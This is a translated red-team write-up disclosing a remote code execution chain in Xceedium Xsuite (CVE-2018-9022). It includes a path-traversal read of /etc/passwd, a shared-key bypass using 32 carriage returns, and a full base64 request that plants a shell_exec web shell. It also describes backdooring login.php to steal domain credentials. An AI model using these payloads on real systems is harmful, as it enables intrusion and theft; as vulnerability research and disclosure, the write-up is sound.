Xsuite远程代码执行漏洞:代码笔误导致获得域管理权限(CVE-2018-9022)

41yf1sh 漏洞 2019年3月12日发布
Favorite收藏

导语:不久之前,在参加红蓝对抗的过程中,我发现了一个远程代码执行漏洞并成功利用。对该漏洞的利用,使我们很快获得了对客户内部网络的较高权限访问。

概述

不久之前,在参加红蓝对抗的过程中,我发现了一个远程代码执行漏洞并成功利用。对该漏洞的利用,使我们很快获得了对客户内部网络的较高权限访问。这听上去似乎非常平常,但有趣的是,这个漏洞的根本原因是由于两个字符的笔误。相关漏洞描述可以在这里找到。

备注:其实,如果我添加一些额外的屏幕截图,这篇文章的漏洞展示效果将会更好,但是由于涉及到用户的信息,我倾向于不想冒险泄露有关客户的详情,还请各位读者理解。

进行枚举

在执行了一些基本的枚举之后,我找到了一个属于目标组织的子域名,该域名明显地标识出它是“由Xceedium Xsuite提供支持”(Powered by Xceedium Xsuite)。我在Google上进行了一些搜索,偶然发现Exploit-db上有一篇文章,其中介绍了Xsuite的几个漏洞,包括未经身份验证的命令注入、反射型XSS、任意文件读取和本地权限提升漏洞。要利用这些漏洞,看起来似乎很简单,对吧?

任意文件读取漏洞

遗憾的是,由于目标进行了安全配置,所以注入漏洞不起作用。权限提升漏洞则需要事先访问设备,由于我希望尽可能的避免用户交互,因此就排除了这个漏洞,XSS也是一样。因此,我们对任意文件读取漏洞进行漏洞利用尝试:

/opm/read_sessionlog.php?logFile=..//..//..//etc/passwd

当然,我们可以通过互联网访问的端口只有80和443。尽管可以从/etc/passwd中读取各种哈希值,但这些值对我们来说毫无用处:

Sshtel:ssC/xRTT<REDACTED>:300:99:sshtel:/tmp:/usr/bin/telnet
Sftpftp:$1$7vs1J<REDACTED>:108:108:/home/sftpftp

在这时,我认为最好的方案就是找到主机的document_root,于是我开始下载源代码。随后,我便可以对源代码进行人工的代码审计,以便在Xceedium Xsuite中找到其他漏洞。在阅读了大量Apache配置文件之后,我终于找到了document_root:

/var/www/htdocs/uag/web/

到目前为止,我们只知道两个页面的位置:

/var/www/htdocs/uag/web/opm/read_sessionlog.php
/var/www/htdocs/uag/web/login.php

我们借助任意文件读取漏洞,下载这两个文件的源代码,从而查找是否存在对其他任何PHP文件或配置文件的引用。这些其他文件,我们也同样可以下载。在执行这一过程时,尽管实际上我可以编写脚本来实现自动化执行,但由于后续我还要进行代码审计,因此我决定在审计的过程中手动检索源代码。与此同时,这也有助于我们限制到目标主机的请求数量,从而使攻击更具隐蔽性。

经过一整天的时候手动下载PHP文件和人工审计之后,我相信,我已经对应用程序的工作方式具有了足够的了解。除了本文中描述的远程代码执行漏洞之外,我还发现了其他的一些漏洞,例如任意文件读取、SQL注入等。但是由于我现在已经可以读取本地文件,并且似乎没有配置数据库,所以这些漏洞对于我目前来说都是没有用的。我唯一感兴趣的,就是远程代码执行。

代码执行初步尝试

需要关注的一个有趣函数是linkDB(),该函数逐行读取/var/uag/config/failover.cfg的内容,并将其传递给eval()函数。这意味着,如果我们以某种方式找到将PHP代码写入failover.cfg的方法,那么我们就可以调用linkDB()函数来在主机上执行远程代码。这非常有趣,但是我们目前还暂时无法控制failover.cfg或该文件的内容。

/var/www/htdocs/uag/functions/DB.php
 
function linkDB($db, $dbtype='', $action = "die") {
    global $dbchoices, $sync_on, $members, $shared_key;
    if(!$dbchoices){
        $dbchoices = array("mysql", "<REDACTED>", "<REDACTED>");
    }
 
    //reads file into array & saves to $synccfg
    $synccfg = file("/var/uag/config/failover.cfg");
 
    //iterates through contents of array
    foreach ($synccfg as $line) {
        $line = trim($line);
        $keyval = explode("=", $line);
 
        //saves contents to $cmd variable
        $cmd ="\$param_".$keyval[0]."=\"".$keyval[1]."\";";
 
        //evaluates the contents of the $cmd variable
        eval($cmd);                    
    }
…
}

经过一段时间后,我找到了填充/var/uag/config/failover.cfg的函数。下面的代码已经经过略微的修改,以避免包含多行字符串解析。

/var/www/htdocs/uag/functions/activeActiveCmd.php
 
function putConfigs($post) {
    …
    $file = "/var/uag/config/failover.cfg";
    $post = unserialize(base64_decode($post)); <-- ignore this 😉
 
    …
 
    $err = saveconfig($file, $post);
    …
 
}

总结一下,现在我们知道failover.cfg的内容将会被传递给eval(),这可能会导致代码执行。我们知道putConfigs()函数会接受一个参数,将其传递给base64_decode(),随后传递给unserialize(),然后将其保存到failover.cfg。现在,我们需要看看putConfigs()中使用的$post变量还在哪些位置使用过,并且需要考虑是否有可能控制该变量。

/var/www/htdocs/uag/functions/activeActiveCmd.php
 
function activeActiveCmdExec($get) {
…
// process the requested command
switch ($get["cmdtype"]) {
 
…
    case "CHECKLIST":
        confirmCONF($get);
        break;
    case "PUTCONFS" :
        putConfigs($get["post"]);
        break;
…
}

因此,传递给putConfigs()的$get参数来自于最早传递给activeActiveCmdExec()函数的一个参数。

/var/www/htdocs/uag/functions/ajax_cmd.php
 
if ($_GET["cmd"] == "ACTACT") {
    if (!isset($_GET['post'])) {
        $matches = array();
        preg_match('/.*\&post\=(.*)\&?$/', $_SERVER['REQUEST_URI'], $matches);
        $_GET['post'] = $matches[1];
    }
    activeActiveCmdExec($_GET);
}

我们看到,activeActiveCmdExec()直接接受用户的输入。这意味着,我们可以直接控制activeActiveCmdExec()的输入,然后将其传递给putConfigs()、base64_decode()、unserialize(),最后保存到/var/uag/config/failover.cfg。我们现在可以创建一个序列化的Base64编码请求,将其保存到failover.cfg中,然后我们可以调用invokelinkDB(),它可以将包含我们的恶意代码的文件传递给eval()。至此,我们就已经实现了代码执行。

由于在这里将覆盖一个配置文件,一旦出现了任何错误,都有可能会破坏设备,从而导致我们客户的不满。即使不考虑设备的可用性,我们也只有一次机会来写入配置文件。因此,我决定谨慎行事,使用相关代码先在本地测试漏洞利用。经过几次尝试之后,我收到了“BAD SHARED KEY”。不幸的是,我在activeActiveCmdExec()函数的开头部分忽略了一些东西:

/var/www/htdocs/uag/functions/activeActiveCmd.php
 
function activeActiveCmdExec($get) {
    // check provided shared key
    $logres = checkSharedKey($get["shared_key"]);
    if (!$logres) {
        echo "BAD SHARED KEY";
        exit(0);
    }
…
}

该函数将检查有效的共享密钥是否通过$get变量传递。如果没有合法的密钥,我们将无法实现将代码写入failover.cfg文件所需的功能,我们也无法使用invokelinkDB()来评估代码,也无法在远程主机上执行代码。

读取共享密钥

在这一点上,我认为可能是时候回到最初全部的可能性上,并试图找到一种攻击主机的新思路。我隐约觉得,可能会将未经过处理的用户输入传递给unserialize()?幸运的是,由于我可以读取本地文件,因此共享密钥可以在源代码中进行硬编码,也可以保存在可读的配置文件中。然后,我们可以在请求中包含密钥,从而通过此检查。所以,我们首先查看checkSharedKey()函数,看看保存此共享密钥的位置。

/var/www/htdocs/uag/functions/activeActiveCmd.php
 
function checkSharedKey($shared_key) {
    if (strlen($shared_key) != 32) {              //1
        return false;
    }
    if (trim($shared_key) == "") {                //2
        return flase;
    }
 
if ($f = file("/var/uag/config/failover.cfg")) {
    foreach ($f as $row) {                        //3
        $row = trim($row);
        if ($row == "") {
            continue;
        }
        $row_sp = preg_split("/=/", $row);
        if ($row_sp[0] == "SHARED_KEY") {
            if ($shared_key == $row_sp[1])       //4
                return true;
            }
        }
    } else {
    return false;
    }
}

该函数执行以下操作:

(1) 检查传递给它的密钥长度是否为32个字符;

(2) 检查传递给它的密钥是否为空字符;

(3) 逐行读取failover.cfg;

(4) 检查提供的共享密钥是否与failover.cfg中的共享密钥匹配。

因此,我们可以利用我们已经掌握的任意文件读取漏洞,从/var/uag/config/failover.cfg文件中提取共享密钥,并将其附加到我们得到请求之中,将经过序列化、Base64编码之后的PHP代码写入到failover.cfg之中,调用linkDB()来eval()我们的恶意代码,并在远程主机上执行代码。在阅读了failover.cfg的内容后,我发现其内容如下:

/var/uag/config/failover.cfg
 
CLUSTER_MEMBERS=
ACTIVE_IFACE=
SHARED_KEY=
STATUS=
MY_INDEX=
CLUSTER_STATUS=
CLUSTER_IP=
CLUSTER_NAT_IP=
CLUSTER_FQDN=

该文件是空的。

我们无法窃取现有密钥从而通过身份验证检查,因为并没有配置密钥。遭遇了再一次的失败后,我将注意力转回checkSharedKey()功能。

分析checkSharedKey()函数

checkSharedKey()函数做的第一件事,就是检查提供的密钥是否为32个字符。这意味着,我们不能简单的传递一个空白密钥来通过检查。然而,经过一阵分析后,我发现了我以前忽略过的一个微妙问题。

/var/www/htdocs/uag/functions/activeActiveCmd.php
 
function checkSharedKey($shared_key) {
    if (strlen($shared_key) != 32) {
        return false;
    }
    if (trim($shared_key) == "") {
        return flase;              
    }
…
}

由于代码中出现了笔误,当提供长度为32个字符的共享密钥,但在调用trim()后为空时,该函数将返回“flase”。这意味着,返回的是文本字符串“flase”,而并不是布尔值“false”。幸运的是,字符串“flase”的布尔值为“true”,因此密钥检查将会成功,我们可以绕过权限检查。

回顾PHP官方手册中关于trim()的内容,我们发现有如下表述:

1.png

因此,理论上我们可以使用32个空格、制表符、换行符、回车符、空字节或垂直制表符来达到执行代码所需的必要代码路径。所有这些,都是源于有开发人员错误地输入了“false”这个单词。

测试

为了测试我们的理论,我们可以获取代码的相关部分,并编写一个使用与Xsuite代码相同逻辑的小脚本。

<?php
 
//Take user input
$shared_key = $_GET['shared_key'];
 
//Echo user input
echo "Input: " . $shared_key . "\n";
 
//Echo the string length (Hopefully 32)
echo "shared_key Length: " . strlen($shared_key) . "\n";
 
//Pass the input to the checkSharedKey() function
$logres = checkSharedKey($shared_key);
 
//Echo out the raw returned value
Echo "Raw Returned Value: ";
var_dump($logres);
 
//Echo the Boolean value of returned value
Echo "Boolen returned Value: ";
var_dump((bool) $logres);
 
//Echo either “bad shared key” or “auth bypassed” accordingly
if(!$logres)
{
    echo "BAD SHARED KEY\n";
    exit(0);
} else {
    echo "Auth Bypassed";
}
 
function checkSharedKey($shared_key) {
    if (strlen($shared_key) != 32) {
        return false;
    }
 
    if (trim($shared_key) == "") {
        return flase;
    }
 
}
?>

然后,我测试了几个输入,并看看发生了什么:

2.png

正如我们所料,传递32个字符的随机字符串会返回布尔值FALSE,我们无法绕过检查。现在,尝试我们前面所提到的回车、空字节等字符:

3.png

正如预测的那样,由32个回车符、空字节等符号组成的字符串,将帮助我们绕过checkSharedKey()功能。现在,我们可以绕过权限检查,从而达到我们想要的代码路径。由于这一漏洞利用程序中包含许多步骤,并且可能会出现大量错误,因此我们决定再次使用相关代码在本地测试漏洞利用程序。

漏洞利用

经过一段时间的本地测试之后,我们改进了其中的一些漏洞利用步骤。

1. 借助$shared_key绕过,使用恶意代码修改failover.cfg。

ajax_cmd.php?cmd=ACTACT&cmdtype=PUTCONFS&shared_key=%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D%0D&post=YTo2OntzOjExOiJyYWRpb19pZmFjZSI7czo1OiJpZmFjZSI7czoxNToiY2x1c3Rlcl9tZW1iZXJzIjthOjE6e2k6MDtzOjk6IjEyNy4wLjAuMSI7fXM6MTM6InR4X3NoYXJlZF9rZXkiO3M6MzI6IkFBQUFCQkJCQ0NDQ0RERFhYQUFBQkJCQkNDQ0NEREREIjtzOjY6InN0YXR1cyI7czozOiJPRkYiO3M6MTI6ImNsdXN0ZXJfZnFkbiI7czo1NToidGVzdC5kb21haW4iO2VjaG8gc2hlbGxfZXhlYyh1cmxkZWNvZGUoJF9QT1NUWydjJ10pKTsvLyI7czoxMDoiY2x1c3Rlcl9pcCI7czo5OiIxMjcuMC4wLjEiO30=

对上述post参数进行解码后,将会实现下列经过序列化的Payload:

a:6:{s:11:"radio_iface";s:5:"iface";s:15:"cluster_members";a:1:{i:0;s:9:"127.0.0.1";}s:13:"tx_shared_key";s:32:"AAAABBBBCCCCDDDXXAAABBBBCCCCDDDD";s:6:"status";s:3:"OFF";s:12:"cluster_fqdn";s:55:"test.domain";echo shell_exec(urldecode($_POST['c']));//";s:10:"cluster_ip";s:9:"127.0.0.1";}

它对应于表单的PHP对象:

$data = array();
$data['radio_iface'] = "iface";
$data['cluster_members'] = array("127.0.0.1");
$data['tx_shared_key'] = "AAAABBBBCCCCDDDXXAAABBBBCCCCDDDD";
$data['status'] = "OFF";
$data['cluster_fqdn'] = "test.domain";echo shell_exec(urldecode($_POST['c']));//";s:10:"cluster_ip";s:9:"127.0.0.1";}

2. 借助read_sessionlog.php中的任意文件读取漏洞,读取该文件,并验证配置文件是否已经成功被篡改。

3. 调用linkDB(),以eval() failover.cfg中的内容,并执行命令。

POST /ajax_cmd.php?cmd=get_applet_params&sess_id=1&host_id=1&task_id=1
 
c=whoami

总结

在第一次发现Xceedium设备存在时,我认为我们就已经找到了金子。显然,这是一个过时的设备,并且具有公开披露可以利用的远程代码执行漏洞。当然,事实情况并非这么简单,我们对其成功利用比原先预期花费了更多的时间和精力。

可能会有读者好奇,其他漏洞我们是如何利用的。在攻破设备之后,我们很快就发现了一种获取设备root访问权限的方法。由于Xceedium Xsuite(身份和访问管理)的性质,数百名用户每天都会借助它对设备进行身份验证。借助root访问权限,我们只需要在login.php中安插后门,就可以窃取到数百个域凭据。幸运的是,我们还捕获到了一些域或企业管理员的明文凭据。这使我们可以轻松地访问全球各个领域的内网。显然,我们红方团队的目标并不是获得域管理员,但这显然很有帮助。

在一开始我就提到,我很抱歉本文中没有提供更多的屏幕截图,来展现这个实际的攻击。因为我不想冒着暴露客户隐私的风险。此外,在漏洞发现后,我原本不打算披露,在第一时间提交给了厂商。但是,Xceedium(现在的CA Technologies)并没有接收并积极处理这一漏洞,因此我们将其披露,并希望提醒用户注意防范此类风险。

本文翻译自:https://medium.com/@DanielC7/remote-code-execution-gaining-domain-admin-privileges-due-to-a-typo-dbf8773df767如若转载,请注明原文地址: https://www.4hou.com/vulnerable/16664.html
点赞 0
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论